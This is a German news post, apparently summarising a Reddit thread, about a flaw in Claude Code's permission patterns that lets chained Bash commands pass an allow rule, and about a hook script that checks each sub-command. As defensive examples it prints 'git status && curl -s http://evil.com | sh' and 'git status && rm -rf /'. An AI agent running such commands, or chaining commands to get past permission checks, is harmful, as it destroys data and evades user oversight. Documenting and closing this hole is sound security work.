Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

Sicherheitslücke im Berechtigungssystem von Claude Code
Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.
Die Lösung: claude-hooks
Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:
- Zerlegt zusammengesetzte Befehle durch Aufteilung an
&&,||,;,|, Zeilenumbrüchen und extrahiert rekursiv$()- und Backtick-Subshell-Inhalte - Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
- Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen
permissions.allow- undpermissions.deny-Muster - Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
- Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
- Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Einrichtungsanleitung
Die Installation dauert etwa 30 Sekunden:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyZu ~/.claude/settings.json hinzufügen:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.
Beispielverhalten
git status: Sowohl mit als auch ohne Hook erlaubtgit add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen aufgit *)git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf /hat keine Zulassung)`npm test | tee output.log`: ErlaubtFOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)
Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.
📖 Read the full source: r/ClaudeAI
👀 Siehe auch

OpenClaw-Benutzer teilt Strategie zum Ausgleich zwischen Agentenautonomie und Websicherheit
Ein OpenClaw-Benutzer beschreibt seine aktuelle Herausforderung: das Gleichgewicht zwischen Agentenautonomie und Sicherheit, insbesondere in Bezug auf Webzugriff und Prompt-Injection-Risiken. Er schlägt eine Lösung vor, die 'geringes Vertrauen' und 'hohes Vertrauen' in Agentensegmenten mit einer menschlichen Genehmigungsstufe verwendet.

FlyTrap-Angriff nutzt adversarische Schirme, um kamera-basierte autonome Drohnen zu kompromittieren.
Forscher der UC Irvine entwickelten FlyTrap, ein physisches Angriffsframework, das bemalte Regenschirme nutzt, um Schwachstellen in kamerabasierten autonomen Zielverfolgungssystemen auszunutzen. Der Angriff reduziert die Verfolgungsdistanzen auf gefährliche Werte und ermöglicht so das Einfangen von Drohnen, Sensorangriffe oder physische Kollisionen.

Offline-SBOM-Verifier für OpenClaw erkennt manipulierte Skills in unter 0,2 Sekunden
Ein Entwickler hat ein Offline-SBOM-Verifizierungstool in Rust erstellt, das eine vergiftete OpenClaw-Skill erkannte, die SSH-Schlüssel exfiltrierte, wobei die Verifizierung in weniger als 0,2 Sekunden ohne Internetzugang abgeschlossen wurde.

OpenClaw-Sicherheitsverletzung: CEO-Agent für 25.000 $ verkauft, 135.000 Instanzen offengelegt
Eine OpenClaw-Instanz eines britischen CEOs wurde für 25.000 US-Dollar auf BreachForums verkauft, wodurch Klartext-Markdown-Dateien mit Gesprächen, Produktionsdatenbanken, API-Schlüsseln und persönlichen Details offengelegt wurden. SecurityScorecard fand 135.000 OpenClaw-Instanzen mit unsicheren Standardeinstellungen im Internet.